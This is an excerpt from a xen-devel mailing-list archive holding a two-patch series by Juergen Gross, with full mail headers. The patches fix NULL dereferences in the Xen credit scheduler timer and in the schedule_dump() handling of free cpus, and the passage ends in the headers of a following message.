Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id BlkXF+XsaWrgKAAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 29 Jul 2026 12:07:01 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785326825; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=yJ9KZC1N9lgIdK6gjTKt/b/8X+SICl0CjKrsBqav+I4=;
	b=I5UCs0MSXGEe5X5BT1cjVVdsDsvL83fC23AzpL/LeDy3Jiqc3urSlR8xg9UG3dewPcXEe4
	dlpSm6bOiMPGu64PIJ0VgpLXI43mH2ClVumw6Bt/1mGCNgy9p8m0lfaPsWMd8BXhPNR5Mp
	CxC6f8TJw7aP0hgZCQ0ZHt2XKj8v4iU=
Authentication-Results: smtp-out1.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785326821; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=yJ9KZC1N9lgIdK6gjTKt/b/8X+SICl0CjKrsBqav+I4=;
	b=EYPDMgeXbiRRZMo25vBd4TcYha5c5DAPjegC41TfARM8s3egi+txgEgN1YAxvE/qwr2jo8
	5CeDxQwqKyuiDSLEw/L4FuQwTF6ZGcqoPi7qZSvPEhrIyeqxG8iSr+iQwcGjQgDaih2s0b
	QK8XQ2wkJcGcL5efkfcN8A8cQABZZqc=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>,
	Dietmar Hahn <dietmar.hahn@fujitsu.com>
Subject: [PATCH 2/2] xen/sched: fix schedule_dump() handling of free cpus
Date: Wed, 29 Jul 2026 14:06:43 +0200
Message-ID: <20260729120643.327387-3-jgross@suse.com>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260729120643.327387-1-jgross@suse.com>
References: <20260729120643.327387-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.80
X-Spam-Level: 
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MIME_TRACE(0.00)[0:+];
	TO_DN_SOME(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	ARC_NA(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_HAS_DN(0.00)[];
	RCPT_COUNT_FIVE(0.00)[5];
	FROM_EQ_ENVFROM(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[fujitsu.com:email,imap1.dmz-prg2.suse.org:helo,suse.com:email,suse.com:mid];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[]
X-purgate-ID: tlsNG-42698a/1785326830-AAAD89EA-092B6C06/0/0
X-purgate-type: clean
X-purgate-size: 1469

With the introduction of core scheduling cpus not used by any cpupool
have been switched to use the very simple idle scheduler instead of the
default scheduler.

Trying to obtain diagnostic scheduling data via the "r" debug key is
scanning through all cpupools using the per-cpupool scheduler to print
the related data. Unfortunately the switch to use the idle scheduler
for free cpus wasn't reflected in schedule_dump(), causing the default
scheduler's dump_cpu_state callback to be used for free cpus.

This causes NULL dereferences in case the default scheduler is one of
credit or null.

Fix that by using the idle scheduler instead of the default scheduler
for free cpus. Note that it is fine for a scheduler to have no
dump_cpu_state callback.

Fixes: f855dd962523 ("sched: add minimalistic idle scheduler for free cpus")
Reported-by: Dietmar Hahn <dietmar.hahn@fujitsu.com>
Tested-by:  Dietmar Hahn <dietmar.hahn@fujitsu.com>
Signed-off-by: Juergen Gross <jgross@suse.com>
---
 xen/common/sched/core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/xen/common/sched/core.c b/xen/common/sched/core.c
index 55b71301cf..9ccf5811bf 100644
--- a/xen/common/sched/core.c
+++ b/xen/common/sched/core.c
@@ -3452,7 +3452,7 @@ void schedule_dump(struct cpupool *c)
     }
     else
     {
-        sched = &operations;
+        sched = &sched_idle_ops;
         cpus = &cpupool_free_cpus;
     }
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:07:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:07:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375642.1622745 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp33y-0000M0-8Q; Wed, 29 Jul 2026 12:07:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375642.1622745; Wed, 29 Jul 2026 12:07:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp33y-0000Lt-4j; Wed, 29 Jul 2026 12:07:06 +0000
Received: by outflank-mailman (input) for mailman id 1375642;
 Wed, 29 Jul 2026 12:07:05 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wp33w-0000LW-W6
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:07:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp33w-0006Zi-Ct
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:07:04 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a69ecdc-e002-0a2a0a5209dd-0a2a4502cdb8-20
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:07:04 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a69ece3-6ca4-0a2a45020019-c387df838888-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:06:59 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 886C53E01;
 Wed, 29 Jul 2026 12:06:50 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 590A7779A1;
 Wed, 29 Jul 2026 12:06:50 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id 1gBwFNrsaWrVKAAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 29 Jul 2026 12:06:50 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785326814; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=AZ27lEAlEKIMN4p53GrxHDf0red0ICamm+tyfZxmL4c=;
	b=J4QUumBD7tz9DCmbs4Lsl3tZhP9MduN9jlRhbEkpFj2vE2zLu4tZQTLmvVoYngGlIldYNL
	X2J+xvIlevaBWyunmGn2VuXy4UA+PKkYq31i8T85Zg87NEvkhU9WU/jVs6UHa7f24rKESK
	8A/eV/IOw7/3dE/lXRbcdFY6dh8ZwO8=
Authentication-Results: smtp-out2.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=ABFAFW5+
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785326810; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=AZ27lEAlEKIMN4p53GrxHDf0red0ICamm+tyfZxmL4c=;
	b=ABFAFW5+uH8ZXlWZIcWlgr0V8COjGNbtZ/COi17uAsxrsiWhZ4E50ZvmURS2xG02P143bG
	n1Ybpudr3Ru1pkOEtC3NmdDdmHnkRf1uEU/1BAGq4FBJe3CxCz6971jQm4kcyPSijqmZaw
	VtHGhsNATMMdBrfye5vvmBuxcoNj0Vg=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH 0/2] xen/sched: fix 2 bugs related to credit scheduler
Date: Wed, 29 Jul 2026 14:06:41 +0200
Message-ID: <20260729120643.327387-1-jgross@suse.com>
X-Mailer: git-send-email 2.55.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Score: -3.01
X-Spam-Level: 
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: 886C53E01
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns,suse.com:mid,suse.com:dkim];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	MIME_TRACE(0.00)[0:+];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FROM_EQ_ENVFROM(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	RCPT_COUNT_THREE(0.00)[4];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-Spam-Flag: NO
X-purgate-ID: tlsNG-720697/1785326824-66CB22AC-05304D4D/0/0
X-purgate-type: clean
X-purgate-size: 282

Juergen Gross (2):
  xen/credit: fix race with schedule_cpu_rm() in csched_timer()
  xen/sched: fix schedule_dump() handling of free cpus

 xen/common/sched/core.c   | 2 +-
 xen/common/sched/credit.c | 4 ++++
 2 files changed, 5 insertions(+), 1 deletion(-)

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:07:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:07:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375643.1622751 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp33y-0000P1-Hi; Wed, 29 Jul 2026 12:07:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375643.1622751; Wed, 29 Jul 2026 12:07:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp33y-0000Ot-Bn; Wed, 29 Jul 2026 12:07:06 +0000
Received: by outflank-mailman (input) for mailman id 1375643;
 Wed, 29 Jul 2026 12:07:05 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wp33x-0000Lg-Ag
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:07:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp33w-0006Zi-Nj
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:07:04 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a69ece2-e002-0a2a0a5209dd-0a2a4506c790-22
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:07:04 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a69ece8-195a-0a2a45060019-c387df82c4e2-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:07:04 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 164C27CA08;
 Wed, 29 Jul 2026 12:06:56 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id DB925779B1;
 Wed, 29 Jul 2026 12:06:55 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id w8o5NN/saWrZKAAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 29 Jul 2026 12:06:55 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785326820; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=0BQAZ0Qu4PKd0KoO61TIZjvwax8MIaVRGF11HrjtQV0=;
	b=gsoQUgqaEvbTNE6+MDquTTB760Esmpl7EYtfzlJRtZHjNOZ24W3IvXxw8reoaOmr7TNCWL
	U4Bi/sHjedRcELCMz51lPxApV/LFnnkvCPAIm8CU4kxMTs/egyybhKQUjOIKMWNZKWZjSh
	3FrCQ2He0s74JTkdfAhYyjVN0a37VCA=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=GNaneZ6y
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785326816; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=0BQAZ0Qu4PKd0KoO61TIZjvwax8MIaVRGF11HrjtQV0=;
	b=GNaneZ6yJNJGAQb6hcL582mHt1eUbgvcWuT7DD4q+0vwGuja114zo54v1Qg/92Cj9uXrYY
	ooDT1XyLVxrFtDu9a1w7siNQR5Wb/MoCq9PMxaPfMF+9OsNrF7H/Z25BqZWPvIuv3Q2CfG
	XmOK1rjfuVoacAhIfnB4ofIPyaI7Me8=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>,
	Dietmar Hahn <dietmar.hahn@fujitsu.com>
Subject: [PATCH 1/2] xen/credit: fix race with schedule_cpu_rm() in csched_timer()
Date: Wed, 29 Jul 2026 14:06:42 +0200
Message-ID: <20260729120643.327387-2-jgross@suse.com>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260729120643.327387-1-jgross@suse.com>
References: <20260729120643.327387-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Score: -3.01
X-Spam-Level: 
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: 164C27CA08
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[fujitsu.com:email,suse.com:mid,suse.com:email,suse.com:dkim,imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	MIME_TRACE(0.00)[0:+];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FROM_EQ_ENVFROM(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	RCPT_COUNT_FIVE(0.00)[5];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-Spam-Flag: NO
X-purgate-ID: tlsNG-16d1c6/1785326824-F74C977B-497F951E/0/0
X-purgate-type: clean
X-purgate-size: 1289

When removing a CPU from a cpupool running the credit scheduler, a
race might happen between schedule_cpu_rm() and csched_timer(),
resulting in a NULL dereference.

The timer associated with csched_timer() is killed only in
csched_deinit_pdata(), which is called by schedule_cpu_rm() after
setting the scheduler's per-cpu data to NULL AND after enabling
interrupts again. This can result in the timer to fire before it is
being killed, so csched_timer() needs to test the per-cpu data to be
set before accessing it.

Fixes: 78be3dbbfefa ("cpupools [1/6]: hypervisor changes")
Reported-by: Dietmar Hahn <dietmar.hahn@fujitsu.com>
Signed-off-by: Juergen Gross <jgross@suse.com>
---
 xen/common/sched/credit.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/xen/common/sched/credit.c b/xen/common/sched/credit.c
index 328c802d0c..4dde2ede12 100644
--- a/xen/common/sched/credit.c
+++ b/xen/common/sched/credit.c
@@ -1589,6 +1589,10 @@ static void cf_check csched_tick(void *_cpu)
     struct csched_pcpu *spc = CSCHED_PCPU(cpu);
     struct csched_private *prv = CSCHED_PRIV(sr->scheduler);
 
+    /* Handle race of timer disabling vs. firing when switching scheduler. */
+    if ( !spc )
+        return;
+
     spc->tick++;
 
     /*
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:22:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:22:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375696.1622772 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3J8-0005GI-Tj; Wed, 29 Jul 2026 12:22:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375696.1622772; Wed, 29 Jul 2026 12:22:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3J8-0005GB-Q5; Wed, 29 Jul 2026 12:22:46 +0000
Received: by outflank-mailman (input) for mailman id 1375696;
 Wed, 29 Jul 2026 12:22:44 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wp3J6-0005G3-Fc
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:22:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp3J5-0009Hn-SG
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:22:43 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a69f085-2eae-0a2a0a5409dd-0a2a450bb80e-38
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:22:42 +0200
Received: from [40.107.159.53]
 (helo=OSPPR02CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a69f092-b7e8-0a2a450b0019-286b9f35929b-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:22:42 +0200
Received: from DU2PR04CA0360.eurprd04.prod.outlook.com (2603:10a6:10:2b4::28)
 by PAWPR08MB9616.eurprd08.prod.outlook.com (2603:10a6:102:2ed::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 12:22:37 +0000
Received: from DB1PEPF00039233.eurprd03.prod.outlook.com
 (2603:10a6:10:2b4:cafe::ac) by DU2PR04CA0360.outlook.office365.com
 (2603:10a6:10:2b4::28) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.13 via Frontend Transport; Wed,
 29 Jul 2026 12:22:36 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 DB1PEPF00039233.mail.protection.outlook.com (10.167.8.106) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.5
 via Frontend Transport; Wed, 29 Jul 2026 12:22:36 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com (2603:10a6:803:80::16)
 by PAXPR08MB6432.eurprd08.prod.outlook.com (2603:10a6:102:154::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.13; Wed, 29 Jul
 2026 12:21:32 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4]) by VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4%3]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 12:21:32 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=wHTI7BQO2TZZ8SyyU9bYlGGlhWZ13cSo0igcktPlfYIycGKB88rW611mbR/2bY81cdR6t765jGRFr2EXfD+bRoje8yBu4f3hUuf4pio6rmSw/ObDxLOuw4up4cqP1lolsTftCBaFZOr0JOsWF6vmgm7oxK1CEl2/NfagBipm18a8MWucGt1MtYWTb06XsHO1q8KUAR+lavQCrIYJNZDWGHgCuu3zHk6b5OKDGDJR4Bt19lv+gdauvkxO1qTFvGpbZDvOylICeHJ5/48xs85iTUvq1QbrPPF9qHjrnfTiPWqe8rBUMP8rmev/f/wD7zp4cUtzyrSBSWLIlQBx/ePuaQ==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=8UgLZ8i/inTOBt7S51j8e9s65/Rn6K9L71YfNghMwJk=;
